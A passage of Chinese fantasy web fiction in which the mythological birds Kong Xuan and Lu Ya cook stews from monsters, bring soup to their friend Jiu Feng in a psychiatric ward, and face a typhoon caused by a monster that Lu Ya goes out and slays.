他迟迟到来,于是众鸟环绕,嬉笑着要他罚酒赔罪。 恰是此时,最后一位来客从天空降落,他身姿轻盈华丽,浓重的黑羽粼粼泛起五彩波澜,分明如太阳般耀眼,却如黑夜使者寡言无声。 身披青羽的孔宣扬眉,眼中华彩绽放:“他来得最迟!该罚的是他才对。” 那人抬起眼眸,无声朝孔宣望去一眼。 那一瞬间,向来伶牙利爪的孔雀明王猝然失语,只觉满堂春色恰在此刻盛开。 如此绚丽秾烈。 …… “陆鸦鸦。” 孔宣早上起了个大早,他从楼梯下来,眼睛捕捉到陆压的身影,朗声叫他。 他起得早,才七点就醒了,陆压比他起得更早,房间里没人不说,这会儿在楼下像是出门又回来了。 陆压穿着背心、短裤,很适合来广市的休闲装束,手里提着一袋子湿漉漉的东西,似乎还有生物在里面跳动。 他垂着头,漂亮的肌肉线条直白地暴露在外,因为拎袋子的动作而牵动着危险。 像是从外面捕猎回来的猛兽,不动声色地将挣扎的猎物处理,动作间不发出任何异响。 他做事干净利索,直到把东西收拾完了,才抬头看向孔宣,手从刀上一抹,抹下一片水珠。 孔宣从这个高度往下望,几乎将男人衣领下的肌肉线条尽收无疑,他撑着下巴,语气还带着将醒未醒的散漫:“鸦,你去哪了?” “去买了点海鲜。”陆压回答,他顿了一下,谨慎地问:“病患可以吃海鲜吗?” “可以吧?”孔宣随口说。 “反正煮的是妖怪,不说一口下去长命百岁,对人类有好处是没跑了。” 至于好处有多少,这就因人而异了。 如果是体质好的,可能就觉得好吃,体质弱的可能就会觉得身体舒服了不少,要不以前的人为什么那么喜欢吃妖怪呢。 当然,妖怪自己也喜欢。 孔宣很缺德地吃吃笑了起来,他一手撑着扶手把自己带到扶手上,坐在上面呲溜一下滑了下来。 他从拐弯处停驻,神气扬扬地跳下扶手,轻松到达了目的地,三步并两步蹦也似地蹦到了陆压身边。 “你想做什么?” 他歪过脑袋,精神抖擞地睁圆眼睛,好奇地不住探头。 鸟鸟祟祟.jpg 看到锅里早已杀好的鸡与几只鲍鱼,他顿时冒出一脑袋问号,诧异地挑起长眉。 早已杀好的鯈鱼化作半锅肉块,搭上几只鲍鱼,往里投上几颗五指毛桃,陆压淡定盖上锅盖。 “海鲜炖鯈鱼汤。” 他再打开另一口锅,同样是鯈鱼,里面放着鲍鱼、花甲、鱿鱼、海星。 “海鲜闷鯈鱼锅。” 一鱼两吃,绝对美味。 鯈鱼有三条尾巴六只脚,给大王留两条尾巴四只腿怎么了? 陆压觉得完全没问题。 孔宣比了个绝赞的手势,理直气壮地夸赞:“干得漂亮!大不了我们少要一半钱。” 陆压:“少一半就算了吧。” 孔宣:? 孔雀大王还不知道两百五的威力,心情简单地看着陆压炖锅。 陆压先炖了鸡汤,早上七点开始炖,炖到十点,炖得烂烂的,汤色金黄透亮,不加葱蒜和辣椒,浓郁的香气飘出来,香得人直咽口水。 孔宣猛猛干了半碗汤,由衷地叹气:“好吧,这次只收他们两百万。” 谁叫孔雀大王忍不住干了碗汤呢! 丝滑的味道仿佛还残留在舌尖,孔宣将碗递给陆压,陆压低头抿了一口。 “确实很好吃。” 为了避免他们忍不住监守自盗,陆压飞速盖上盖子,端着锅准备和孔宣出门。 孔宣忍不住回味汤的鲜美,叽叽喳喳地和陆压讨论什么时候再去捉一只。 一直到医院登记之前,他都非常快乐。 直到登记探视名单时护士听到了孔宣的名字。 “你就是608号病床的监护人啊,怎么之前没见过你?” 孔宣写电话的笔一顿,一脸茫然地抬起头,护士与他对视,脸上的好奇自然又探究。 “哦,那是因为我去死一死了。” 孔宣随口胡说,心里却炸开了花。 监护人是什么鬼!他说想当九凤的爹不是真的想当他爹啊! 你们人类是不是搞错了什么! 第37章 第37章海鲜闷鯈鱼5 “九凤…… “九凤, 你这家伙,你监护人怎么填我的名字?” 孔宣暗自恼火,进病房的时候就忍不住嚷嚷开了。 他也真是奇怪,不知道九凤发什么疯监护人填他的名字, 早几年他还在山里睡大觉呢! 孔宣嘴上抱怨, 真等他走进病房, 九凤坐在窗台边缘,眉眼郁郁, 好似一下子变成了破碎的花朵,抬眼的瞬间极具破碎感。 九凤忧郁地说:“一个死去的你, 怎么能伤害活着的我?就让我用死人的名字为枷锁,在这地方腐烂发臭吧……“ 他语气忧伤极了,靠在窗台上望着远方,似乎在思考人生的奥秘。 他的室友小六张晚照依旧坐在轮椅上,挂着维持生命的葡萄糖, 就静静地陪着他坐在窗边,一齐凝望着窗外的风景。 整个病房似乎被抑郁情绪笼罩, 被压得密不透风, 在里面走上几步,密不透风的忧伤令整个空间格外寂寥安静。 九凤不由感慨:“这树上的叶子长得再好也终究要落下, 就像这太阳, 再美丽也终究要沉入黑夜,如同我行尸走肉的人生。” “死人”孔宣:“你说谁死了???” 你真的是病得不轻了! “九凤, 你现在意识不清醒我不挑你理,快过来吃饭,别管那些有的没的!” 看在九凤现在神志不清的份上,孔宣恶声恶气地指挥人, 示意陆压快快上菜,让九凤带着小六从窗户边下来。 病房和普通病房也没什么特殊的,两张病床和各自配齐的柜子,床边挂着一些束缚带,找不见什么尖锐物品。 光筷子勺子都是陆压去导台问护士要的。 孔宣拉开椅子坐下,他架起腿,示意九凤快点下来。 九凤不肯,坐在窗子上被铁窗拦着,忧郁地回答:“啊,春天啊春天……” 孔宣怒而伸手:“三、二、一……” 孔宣报数还没报完,九凤慢吞吞地推着小六的轮椅走了过来。 孔雀大王顿时得意,满意地把头一点,开始帮忙拆锅上裹的保鲜膜。 一边拆,孔宣忍不住一边说起这锅汤到底有多好吃,他自己馋得不行,忍不住叭叭说:“鲍鱼炖鯈鱼,炖了三个小时,绝对香死你,叫你再敢乱叭叭!” 越说他越坚定,语气越笃定,恨恨地表示,就不信吃的还堵不住你的嘴! 至于不好吃?绝不可能! 他们把汤炖好连锅一起带了过来,现在还热乎着,一摸还烫手。 忧郁的九凤并没有什么食欲,他眉眼郁郁,正撇开脑袋说不想吃,就听见锅盖掀起的声音。 一股浓郁香味迅速地占据了他整个意识,那股香味并不霸道,反而绵长温软,像是在持久的冬日遇上一碗热汤,只是光看热气腾腾的金黄外表,就让人目眩神迷、靓得人口齿生津。 孔宣拿勺子搅了搅,锅里的鱼肉搅弄起来,金黄色的油花封在表面,搅散之后汤色清澈金黄,从上往下一浇,浇得人食欲大振。 九凤和小六的眼睛瞬间吸引过去,他们脸上没什么表情,只是用一双眼睛暗暗盯住小锅。 直到一碗汤送到他们手中。 孔宣像是带小孩子似的,挨个往他们碗里发勺子,想到九凤难伺候的要求,忍不住得意叭叭:“你说的,不吃辣不吃葱不吃蒜……你就说做没做到吧!” 这么麻烦地要求他都完美解决,是不是超级厉害! 孔宣神色得意,哼哼着扬起下巴,把眼睛一弯,就等着两个人品尝之后露出惊为天人的表情,让他再炫耀炫耀。 他眼神期待,九凤舀起一勺汤,入口的一瞬间,他和孔宣一齐瞪圆了眼睛。 该怎么形容这味道,像是在大雪天行走了很久之后坐在温暖的壁炉边品尝上一口热汤,温暖的汤水下肚,将所有的负面情绪一扫而空。 暗淡忧郁的九凤眼睛圆睁,一瞬间枯木逢春,在孔宣得意的注视下猛猛干饭。 他扬起脑袋,咕噜咕噜喉咙滚动间,一碗汤被他囫囵吞枣咽下,他一把抹去嘴角水渍,大声喊话:“再来一碗!” 居然神情焕发,精神百倍,脸上的笑容可谓要与明亮的太阳竞相争辉。 九凤咂咂嘴,被这口浓汤迷惑,只见眼中妖异四裂,眉宇间好似刀锋出鞘锋芒必现,不见抑郁温吞,倒像是蒙尘珠宝被拂去尘埃,思绪陡然清明。 一口下去神清气爽,两口下去头脑清醒,三口下去…… 九凤吨吨喝汤,已经连话都说不出来了,被这一口汤香迷糊了。 瘦骨难支的张晚照捧着碗,呆呆地盯着碗中金黄色的热汤,袅袅云烟遮掩着他的眉眼,也将他满眼麻木与厌世融化。 他迟疑地举起勺子,只是舀起的动作就让他不自觉双手颤抖。 随着一勺热汤下肚,所有的一切仿佛走马观花般从眼前掠过,又一帧一帧删除。 “滴答” 一滴眼泪顺着眼角滑落碗里,激起一连串的涟漪,模糊中,张晚照瘦骨嶙峋的倒影被一颗一颗落泪击碎,似也将过去种种一并打破。 他眼泪泛滥,无声痛哭,泪水止不住地掉落。 “滴答” “滴答” 没有人会笑他哭到麻木的狼狈模样,只有九凤凝视着他,将他眼尾泪珠擦去,舌尖掠过咸湿的泪珠。 九凤神色混乱,却依旧低声安慰:“都过去了。” 爱也好,恨也好,所有的一切苦难终化成云烟,轻飘飘地吹散。 张晚照一勺一勺,极度艰难地吞咽汤水。 他已经到了要靠点滴来维持生命的地步,早已失去了任何享受食物的能力,所有食物,即便是水,都会被他作呕吐出。 直到这一口热汤下肚,像是唤醒了沉睡的味蕾,他的舌尖极其艰难地品尝到了鲜与味。 孔宣和陆压无声出了门。 只是光看着张晚照那副样子,孔宣就憋了一肚子火,忍不住痛斥凡人的刻薄寡恩。 “明明是自己的孩子,亲生的难道还能变收养的吗?折腾成这个样。” 他大为恼火,不服气地一个劲为张晚照打抱不平,一双漂亮的眼睛染着怒火,怒意沾染上他的眉眼,越发灼灼明亮。 孔宣在这种事上堪称嫉恶如仇,走远了都还忍不住怒骂。 陆压安慰般拍了拍他的肩膀,路过导台时,他脚步微顿,在孔宣耳边低声问:“大王还要把九凤捞出来吗?” 群里昨天讨论得非常热闹,陆压潜水半天,感觉他们打定主意要把九凤捞出来。 不过讨论了半天,一个可以用的方法都没有。 精神病院出院,要么是监护人签字,要么就是患者好了自己要求出院。 陆压琢磨着,九凤把自己监护人的名字写成孔宣,孔宣只要去签个字就能把人捞出来了。 他想得很好,就是没有尊重当事人意见。 孔宣都想翻白眼,脸上的表情变得怪异极了,他哼笑着睨了陆压一眼,笑他天真。 “九凤填我的名字,就是不想有人能把他捞出去。” 孔宣一听就知道他肯定是被人折腾烦了,才会写自己的名字。 其他鸟肯定也看出来了。 群里有九凤潜水,如果真想捞他,肯定得换个群聊,聊了一天全是一些烂主意,就是群里对捞他的意愿不大,孔宣才不去淌这趟浑水呢。 他自持羽毛,绝不掺和这种烂事。 孔宣想到店里留的鯈鱼,忍不住舔了舔嘴巴,巴巴地推着陆压快走:“你先别管他了,我们还是先回家吃午饭吧!” 他的海鲜闷鯈鱼! 他急哄哄地要走,陆压失笑,顺手从导台捞走一张出院登记表走了。 出院登记表背面写着出院申请事项,陆压粗略看过,随意折了两折塞进口袋里。 两个人坐公交下了车,不忘在路口挑上两斤毛豆,准备煮点毛豆餐后配酒。 小街巷里有一家卖米酒的,几十年的老字号,藏在巷子里只做熟人生意,酒味甜蜜绵长,一口下去清甜极了。 孔宣咕咕喝完水瓶里剩下的半瓶水,和陆压一起一人打了满满一瓶回去配菜吃。 小街巷子离后门近,他们也没有绕远路回到大街从店门进去,陆压拿着钥匙开了后门,侧身让孔宣进去。 孔宣过了枝繁叶茂的桃树,一眼就看到了桃树底下抽新枝的扦插小枝。 他眼尖,指着小枝惊呼:“它抽条了!” “之前就长新芽了。”陆压说。 陆压每天起床都会给树浇水,对小枝条的生长情况比孔宣这个主人还要上心。 他拿了水壶,给树芽喷了喷水,薄薄水雾在空中飞舞,树枝扇动,似在打招呼。 孔宣揉了揉耳朵,难得有几分心虚,毕竟他可一次没照看过。 等陆压进了厨房,他才凑到树芽面前,蹲下身,像是在跟家里长辈说话似的,小小声讨饶:“对不起嘛,我不是故意的。” 他摸摸树叶,枝叶无风自动,轻轻蹭过他的掌心。 抽出新芽的枝条弯了弯腰,孔宣眉眼弯弯,歪过脑袋看向厨房,男人在厨房忙碌的身影挺拔修长,一举一动都透着贵气。 孔宣睫毛颤动间轻声喟叹:“扶桑树啊,你也知道是他对吧?” 不过短短数百年,他们又再度重逢了。 第38章 第38章海鲜闷鯈鱼6 陆压进…… 陆压进了厨房, 将围裙在腰上一围顺手拿起了锅盖,盖住的锅子里,花甲、鱿鱼、海鲜还在盐水里泡着。 他将另外放着的鸡腿和鱼尾巴拿出,鸡腿去骨切成一小块一小块, 和剁成块的鱼尾一起, 加入盐、糖、胡椒粉, 蚝油、生抽、米酒腌制调香,抓拌均匀腌制。 这个过程中他开始清理花甲海星, 把一只拳头大的鱿鱼给剖开,鱿鱼须剁成几块, 利索地去骨拆解。 热锅加油,加入腌制的肉块、姜片,大火炒至金黄,加入洋葱、蒜头,用米酒贴着锅洒了一圈, 颠锅的同时火舌轻燎肉块,瞬间“滋滋”香气四溢。 浓郁的香气扑面, 酒精挥发之后只剩下米酒的甜香, 蒸腾出醉醺醺的鲜味,如一把小勾子, 精准地抓住人的嗅觉。 孔宣抱着一兜子桃子往窗户上一堆, 他撑着窗子,整个人往里探头, 被烟气笼罩,把肚子里的馋虫都勾起来了。 “好香好香好香——” 他馋得不行,一个劲地叫唤,就差趴在窗子上撒娇耍赖。 陆压抽空调了个秘制酱料, 用筷子沾了点送到他嘴边,他下意识躲了一下,意识到是什么后,舌尖轻快地勾住掠过,美味的酱汁入口,嘴角疯狂上挑,脸上的满意如有实质。 见他喜欢,陆压低笑了声,转身将酱汁倒入锅中翻炒,顺手将海鲜倒进去了。 海鲜倒进里面翻炒,翻炒出酱汁的香气,让酱料包裹住每一块肉块,里面热气翻涌,没收干的汤汁咕噜噜冒泡。 陆压眼疾手快盖上锅盖,拒绝孔宣想要先尝一口的要求。 孔雀大王在好吃的面前简直就像是小孩子,遇到喜欢吃的,不管不顾要吃,馋得不行。 陆压按着锅盖,等热气上涌了,拿两根筷子在锅盖上比划了一个大大的“X”以示拒绝。 孔宣伸手非但没吃到香香的鯈鱼,还差点被敲手背,他顿时不服气地扁扁嘴巴,一脸不忿地甩过脑袋气鼓鼓地直哼气。 他气呼呼的,觉得陆鸦鸦真小气,他也小气地把桃子抱走了,只留了一个又青又涩地给他。 以示自己不像陆鸦鸦那么小气。 这样的惩罚根本无关痛痒,陆压一转头发现人不见了,只剩下一个桃子。 他顺手拿走洗了洗,削皮切成小块,加了点蜂蜜糖渍,放进冰箱当餐后小甜点。 等电饭煲跳灯后,陆压打开盖子,从窗户往外望,想把大王叫回来吃饭。 孔宣正靠在桃树下,他伸着手指,让小鸟站在自己的手指上,几只憨圆的胖小鸟站在他的肩膀,叽叽喳喳不知道在说什么。 他眉眼一弯,张扬肆意的眉眼泄出几分轻快的笑意,任由小鸟扒着他的手啄上几口桃子。 树荫将明艳的阳光筛碎洒落在他身上,落在他轻快张扬的眉眼,斜飞的长眉连同翘起的眼尾没入阴影,越发颜色秾烈漂亮,不见一丝阴郁。 显然已经消气了。 孔宣脾气来得快去得也快,被陆压一叫,他下意识转过头,眼角眉梢还带着笑意。 下一秒,他收敛嘴角,气性很大地哼了一声。 他把小鸟放飞,手里的半个桃子卡在树枝上,装模作样地溜达过去,问陆压:“叫我干嘛?” “喊你吃饭呢。”陆压好脾气地说着,将一双筷子拿给他。 孔宣不接,气呼呼地怼他:“你不是不给我吃吗?你要饿死我!” 坏鸦! 陆压挑眉,手里的筷子拐了个弯,夹起一块沾着汤汁的鸡腿肉,刻意在孔宣面前晃了晃。 香喷喷的肉在眼前直晃悠,孔宣的眼睛立刻就跟过去了,被美食钓上钩,忍不住探头探脑想要去吃。 不等他嗷呜吃进嘴里,陆压眼疾手快抽走,又丢回锅里,故意朝孔宣扬眉。 “真不吃?” 坏鸦鸦! 孔宣气呼呼的,陆压再想钓他,他气得张牙舞爪要咬陆压的手,抓着人胳膊就上嘴,尖尖的虎牙抵在对方手臂上,一双锐利漂亮的眼睛瞪得滚圆,眼中暗藏得意。 陆压手上还抓着筷子,手臂先被人咬了一口。 他动作微顿,下意识地低下头,孔宣漂亮的眼睛明晃晃地染着怒意,如火焰般灼灼燃烧,鲜明地指向他。 陆压晃了晃胳膊,孔宣收紧牙关,刻意不让他动,嘴巴哼出得意的笑意,又咬重了几分。 “大王。”陆压哄他:“我错了大王,不气了,先吃饭好不好?” “哼~” “不逗你了,我真的知道错了。” 好话说了几句,孔宣不为所动,甚至咬重了一点。 陆压皮糙肉厚没什么感觉,不过他看着孔宣这一嘴漂亮的尖牙,在孔雀大王的示意下只能举起手指对天发誓。 孔宣总算满意,他松开嘴,一脸得意的问陆压:“你以后还敢拿筷子敲我吗?” “没敲……不敢了。” “还敢不让我吃饭吗?” “肉没熟……好好好,不敢了。” 孔宣说一句,陆压想反驳一句,最终在他的怒视下无奈闭嘴,好脾气地连连答应。 可怜陆压以前在妖管局当领导,现在出来单干,还要被孔雀大王欺压。 他乐此不疲,面上一点点的无奈也宠溺得很。 孔雀大王说什么,他就答应什么,答应得无怨无悔。 孔宣终于说满意了,他矜持地翘起唇角,矜贵颔首,表示这件事就此过去。 他矜持不到两秒,实在忍不住馋,巴巴的小眼神直往锅里飘。 陆压请命:“可以开饭了吗大王?” 孔宣再也忍耐不住,眼巴巴地疯狂点头:“吃吃吃!” 快开饭!! 孔雀大王等不及了,自己巴巴地端着饭走到外面,拿着筷子眼睛晶亮地等着陆压端着海鲜焖锅过来。 陆压拿小砂锅装上摆在餐桌上,快速弄了个拍黄瓜当小菜,然而孔雀大王的筷子理都没有理绿油油的小菜,而是伸向了砂锅。 他夹起一块肉,上面沾满了汁水,被筷子一夹,漂亮的汤汁溢出,落在米饭上,连米饭都受不住染成了更加可口的色泽。 孔宣经不住送进嘴里,一入口美味的滋味在舌尖炸开,咸鲜的味道将肉炖煮入味,轻轻一嚼,炖到极烂的鱼肉细滑软嫩,令人食指大动。 孔宣越吃越美,珍惜地将每一粒米饭送进口中,夹杂着肉香的米饭自带的软糯香气更加中和了汤汁的咸味。 本地米比经常吃的黑土地大米更加细长,煮出来晶莹透亮,有种清新香味,拌上汤汁可谓是十足美味。 孔宣猛猛干饭,吃得头都抬不起来。 他吃饭姿势并不难看,反而优雅从容,吃到喜欢的满眼晶亮。 陆压光看他吃饭,自己不知不觉也能吃下两碗饭。 吃过饭后,屋外的太阳正挂在天空最高处,温度拔高几度,正好合适来一口糖渍桃子。 陆压把桃子拿出来时,孔宣眼巴巴地看着小碗在眼前转了一圈,落到了自己面前。 “给我的?”他满脸惊喜,像是得了好处的小仓鼠,幸福地扬起脑袋。 他伸出双手,直白地摊到陆压面前,漂亮的眼睛眨呀眨,俏皮极了。 冰冰凉的小碗落在他的手上,他拿起叉子搅弄了一下,把桃肉拌上蜂蜜,一口下去甜丝丝的,清甜又美味。 孔宣一口一口吃着,桃肉的清甜裹上蜂蜜,顿时更添加了几分厚重的甜蜜。 他愉悦地舔舔嘴巴,将一块桃肉叉起,转手递到陆压嘴边。 陆压看他眉眼带笑,正失神时被桃肉冰了一下,他下意识想躲,停顿之后张嘴咬住桃肉一角。 “好吃吧?”孔宣眉飞色舞,脸上的得意如有实质,笑呼呼地弯起唇角,白软的腮帮子微鼓,他摇晃着脑袋,吃得不亦乐乎。 好东西就要和人分享,这是孔雀大王的理念。 陆压咀嚼的桃子,目光定定地落在孔宣身上,恍惚间已经不知道口中是什么滋味了,只是看孔宣湿红的舌尖掠过唇角,不免觉得口中的桃子甜得过分。 甜滋滋的,已经不只是桃子的味道了。 屋檐在两人头顶遮蔽着阳光,也间过于厚重的乌云一并遮住,等两人反应过来,只见厚厚云层浩浩荡荡随风而来,已经从他们头顶掠过,奔腾着飘向远方。 黑云沉沉压下,连带着周围的空气都变得稀薄压抑,沉沉如重石压在头顶,没一会儿就落下雨珠,大颗大颗地敲打在屋檐上。 孔宣和陆压两个人进屋匆忙,雨掉下来的一瞬间就紧赶慢赶搬着凳子走进去了。 没忘记阳台上还晒着衣服,两个人进了屋又急急忙忙地跑出去收衣服。 这雨下得突然,大风裹着大雨,光收衣服这点时间就把两人浇得湿透。 陆压拧着衣服,没注意眼睫上挂着水珠,突然有只手轻轻从他眼睫擦过,他抬起眼睛,就见孔宣满脸狡黠,像是恶作剧成功的孩童,指着陆压哈哈大笑起来。 他一笑,陆压也想笑。 看着彼此狼狈的模样,瞬时间房间里充满了快活的气息。 被大雨笼罩,屋外一下子安静下来,人声消散,只剩下“哗哗”雨声。 客厅里,电视机的光彩充斥着整个房间,新闻女主播严谨温柔的声音播报着今天的午间新闻。 “……来广市突逢□□雨天气,请诸位市民安心待在家中,减少外出……” 沙发上,孔宣头顶湿漉漉的毛巾低头摁着手机,宽松的睡衣领子松垮露出锁骨,若隐若现的光芒打在他的脸上,他看得认真,以至于一滴滴水珠淌到衣服上都没有注意。 陆压洗完澡出来,手里还拿着毛巾擦水,看到他这样,路过时顺便用自己的毛巾捞起孔宣的发尾狠狠拧了拧水。 孔宣头也不抬,歪过脑袋,把脑袋蹭到陆压肚子上。 “……大王,自己擦水。” 孔宣“哼”了一声,眼睛还盯着手机。 没过三秒,看不下去的陆压只能拿着毛巾老老实实给懒散的孔雀大王擦头发。 说来奇怪,明明都是用的同一种洗发水沐浴露,很普通的白茶香味,但陆压靠近时,总能从孔宣身上闻到似有若无的木制香气,带着淡淡的花香。 平平无奇的毛巾只是在他头发上擦了擦,似乎也沾到了这股香气。 陆压一边擦一边试图用电视新闻屏蔽自己的嗅觉,他盯着新闻看了几分钟,皱了下眉:“今年又要刮台风了。” 来广市临海,几乎年年都要刮台风,台风天最恐怖,把乡下地里的蔬菜大米吹坏也就算了,总有人不信邪外出被吹走的。 新闻里预测台风将要登陆,不停地呼吁市民不要外出。 孔宣头也不抬:”不是台风,是妖风。” 他在回群里的消息,语气漫不经心的:“几山的闻獜,一出现就会刮大风,那种怪物臭死了,一出现我就闻到了风里的妖味。” 孔宣忍不住皱了皱鼻子,脸上满是嫌弃。 被陆压用毛巾罩着脑袋使劲一擦,顿时头脑发晕,眼花缭乱地靠在陆压身上。 他瞪圆了眼睛,哼哼唧唧地瞪人,用犀利的目光控诉陆压的罪行。 陆压眉头微皱:“闻獜?” “是咯,闻獜。” 孔宣幸灾乐祸地重复,伸手戳他脑门,歪着脑袋调笑:“你再皱眉头就要成小老头了。” “皱巴巴地干什么,一只妖怪而已,你吃得还少吗?干脆捉回来给你补身体好了。” 他说得漫不经心,显然不把这当回事。 提到这个,孔宣纠结起眉头,显得有些严肃,手指交叠在一起放在下巴下,眼神犀利地上下打量。 “话说,鸦,你最近感觉怎么样?” 吃了这么多好东西,总该有点变化吧? 比如变漂亮小鸟什么的。 想到这里,孔宣眼睛一亮,扯着陆压的衣摆眼睛晶亮地望着他,眨巴眨巴眼睛,左眼写满了“期待”眼右眼写满了“想看”。 陆压被问得一怔,毫不留情地将手中的毛巾盖在孔宣脸上。 孔宣“唔唔”挣扎,又是摇头又是抓手,总算从毛巾下冒出个乱糟糟的脑袋,陆压早就悄悄退场。 这可把孔雀大王气得够呛,对着陆压的背影直嚷嚷:“坏鸦!” 大坏鸦! 他气得直蹬腿,气呼呼地原地蹬了一圈,把自己摊平,一头栽倒在沙发上。 陆压不愿意给人看自身变化,孔宣气了半天,最终也只是鼓了鼓腮帮子,专心抓着手机玩。 屋外雨丝绵绵,被狂风一吹,连滴滴答答的雨丝声都听不见,只有喧闹的风声,以及漫漫涨起来的积水。 老城区的排水不好,下了几个小时,水就淹过了小店的台阶,半夜里就淹过来半米。 孔宣一觉醒来,从楼梯间探头,只看到滔天洪水,和站在楼梯上的男人。 男人穿着背心,精壮的手臂露在外面,绷出漂亮的肌肉线条,侧脸的五官线条优越高挺,散下片片阴影更显阴鸷危险,简直秀色可餐。 孔宣歪着脑袋,欣赏的目光在陆压身上流转,他观赏一会儿,才朗声说:“鸦,你看什么呢?” 陆压从水里捞起一个矮凳,仰头看了孔宣一眼。 “我去看看厨房。” 他嘴上说着,自己淌着水过去了,半米的水他淌过去也不算危险,将通向后院的房门一拧,积水冲进院里,水线往下排出不少。 陆压一边收拾地上的东西堆到楼梯上,一边让孔宣站在楼上别下来。 后院的排水修房子的时候专门弄过,现在稍稍起了一点作用。 他们小院都被淹成这样,小半个老城区的积水更是早就淹过了脚踝。 陆压冒着雨在外面看了几眼,爬上楼梯时他抹了抹脸上的水,低声说:“外面都被淹了。” “淹就淹了吧。”孔宣点了点手机,满不在乎地说。 突然他眼睛一亮,支棱起肩膀,满眼笑意地弯起唇角,撞了撞陆压的肩膀:“看,钱到账了!” 他举起手机,到账两百万的短信和他明亮的双眼放在一起。 陆压不受控制地被他的眼睛吸引,他只是低低应了一声,喉咙滚了滚,孔宣的头已经低下去了。 陆压的手机响了一声,等陆压洗个澡出来拿起手机,才看到自己手机上的短信。 两百万,不多不少,全转给他了。 不等他发问,一直偷偷观察他的孔宣从沙发背探出头,扒拉着沙发背上,探头探脑地挥舞着手机,脸上的笑容得意又张扬,轻佻地朝他扬眉。 “我厉害吧?” 两百万说赚就赚! “……为什么?”陆压压抑低沉的话语还没说完,孔宣把身子一翻,又躺回了沙发上,只露出一只灵动漂亮的手,朝陆压挥了挥。 “给你就给你了,别管。” 孔雀大王可不是会克扣小鸟的鸟! 孔宣洋洋得意,跷着腿点进群聊,和里面的神鸟们一起水群。 群里正聊台风天的事,本来还存世的神鸟就不多,光来广市就聚集了三只,穆怜青正在抱怨台风天影响他飞去下个城市办展。 突然有人往群里发了几张照片。 :[照片][照片][照片] :第五座神山出现了。 …… 与此同时,陆压打开电视,电视机正播报着第五座神山的出现。 第五座神山出现的动静隐没在台风天里,以至于很多人根本没有反应过来,就被突然掀起的洪水给淹个正着。 新闻工作者顶着狂风报道这一次事件,年轻的女记者眼眶微红,沾湿的脸上满是坚毅,她的身后,救灾消防员正拼命抢救被淹没的人群。 在一片混乱中,那座高山静静地矗立在那里,被笼罩在厚重的云层与细密的雨声下,模糊了边界,恍惚像一片浓重的阴影沉沉压在众人头顶。 陆压用手机拍下照片,努力放大之后,他在那座高山上看见了一只像是猪一样的怪物。 它全身金黄如猴毛,唯独脑袋是白的,站在雨幕中,从山顶往下望,模糊的照片里依旧能看出它隐约弯起的笑容,邪恶又恶心,一双猩红的眼睛正虎视眈眈地注视着山下的无边惨相。 这是一只闻獜。 第39章 第39章红烧闻獜肉 :那座新…… :那座新神山?应该会派军队去吧, 死人也没办法,局里现在已经顾不上了,有妖物下山也管不住了。 :死人已经不是大问题了,“故乡”的探索对妖管局来说比什么都重要, 包括那些老怪物, 没有人甘心专门走一趟去不知名的神山出外勤了, 现在都是各扫门前雪,哪管他人瓦上霜。 :明哲保身啊, 陆组长。 …… 哗啦啦的阴雨沾湿行人的衣摆,将伞面摔打催折, 每走一步几乎要被狂风吹倒、大雨压垮,浓重的阴霾模糊在潮雨,如同一只狰狞可怖的怪物,隐藏在大雨滂沱的晦暗中将一切撕扯碾碎。 朦胧之中,唯有高铁站还亮着灯火, 遗世独立地矗立在晦暗阴霾中,无声无息地指引着方向。 大雨之下, 没有人会试图外出, 以至于安检人员将人拦下时都不免奇怪:“什么钱非得台风天出门挣?哝,就这一班列车, 从六号站台上车。” 安检员检过票, 指了去往六号站台的方向。 大雨磅礴,潮湿的闷热令人昏昏欲睡, 高铁站里没什么人,以至于检票员都有点失去防备,视线只是在身着雨衣的男人身上一扫,又懒洋洋地靠了回去。 雨珠从雨衣的一角连篇落下, 行人抬头,帽檐之下是一双漆黑深邃的眼睛,陆压眉眼冷峻寂寥,孤身行走在空荡荡站台上。 他脚步不疾不徐,偏偏带着不容回转的坚持,冒着磅礴的大雨从死寂一般的钢铁巨兽中穿行而过。 语音电话被接通,冷雨模糊了信号,令蒙在听筒那边的声音越发模糊不清,唯有欢快的语调依旧明晰,传递到耳朵里,令陆压冷峻的眉眼稍稍松懈。 “陆鸦鸦,你出门记得给我带荔枝回来,我想吃荔枝了。” 陆压低低地“嗯”了一声,他兜着手,长长的雨衣将他全身笼罩,滴滴答答的雨珠将睫毛沾湿,凄厉的雷光在他眼中闪烁,照出冷寂的锐利。 一行亮着灯光的列车极速朝着东方飞驰而去,玻璃内部温馨明亮,玻璃外雨云沉沉压在头顶,恍若世界将破,在风雨中摇摇欲坠。 然而总有人走出温暖的环境,孤身前往晦暗危险的死地。 一身黑色雨衣的男人踩上几山的土地,狂风吹开他的兜帽,雨丝毫无保留地敲打在他的额头、鼻梁,顺着他高挺的背脊滴滴答答地没进泥地,被人无情踩下。 轰隆—— 一声雷鸣轰然响起,刺眼的白光迟迟到来,狠狠劈开了几山的隐晦,也将一双猩红的瞳孔照得分明。 全身金黄的怪物站在雨中,藏匿在茂盛的深林里,借用回护般的树林将身影遮掩,唯独一双猩红的眼睛不加掩饰,直白地弯起充满恶意的笑容。 “咔嚓” “咔嚓” 令人毛骨悚然的咀嚼声不断响起,它咀嚼着骨头,张嘴吐出一口血腥肉沫,挑衅般与孤身而立的男人对峙。 空气在雨中越加稀薄,在焦灼的氛围中一触即发。 只见浓密的雨幕中利光闪过,形似野猪的怪物猛地朝前一扑,与男人擦肩而过的瞬间,轰然倾倒在地。 男人手中金光闪过,最终化作无声的流萤,伴随着风雨停歇一同消散飞去。 “你这袋子里装的是什么?” 两个小时后,陆压提着一袋东西被人拦在安检门口。 他面不改色,撕开蛇皮袋的拉链,露出里面剖解好的“猪肉”,怪异的骨头被压在沉沉肥肉之下,割开的痕迹平整又完美。 漆黑的雨衣穿在他的身上,浇了半夜雨,男人面色惨白阴郁,唯有一双漆黑的眼睛明亮深邃。 没有人从他淡定的表情中看出一丝波澜,他就这么提着袋子上了高铁。 “刚刚还下那么大的雨,这会儿又出太阳了。” “这台风天也过去得太快了,看网上说得吓人,也没有嘛。” “哎,早知道就不这么快走了,天气这么好得上景点逛几圈才行。” …… 风雨停歇,高铁车厢里也只有寥寥几个人,陆压是一个。 他神色淡淡地听着车厢里的讨论声,无声将蛇皮袋放在脚边。 厚重的肥肉落在地上,上面挂着的水珠晕湿了地板,深色的痕迹活像是晕出来的血渍,逐渐晕到陆压脚下。 陆压无声地垂下眼睫,他闭目养神,一只手揣进口袋里,无数次重复播放语音,耳机里传来欢快的嘱咐声。 他这才弯起唇角,轻声呢喃:“好。” 买荔枝。 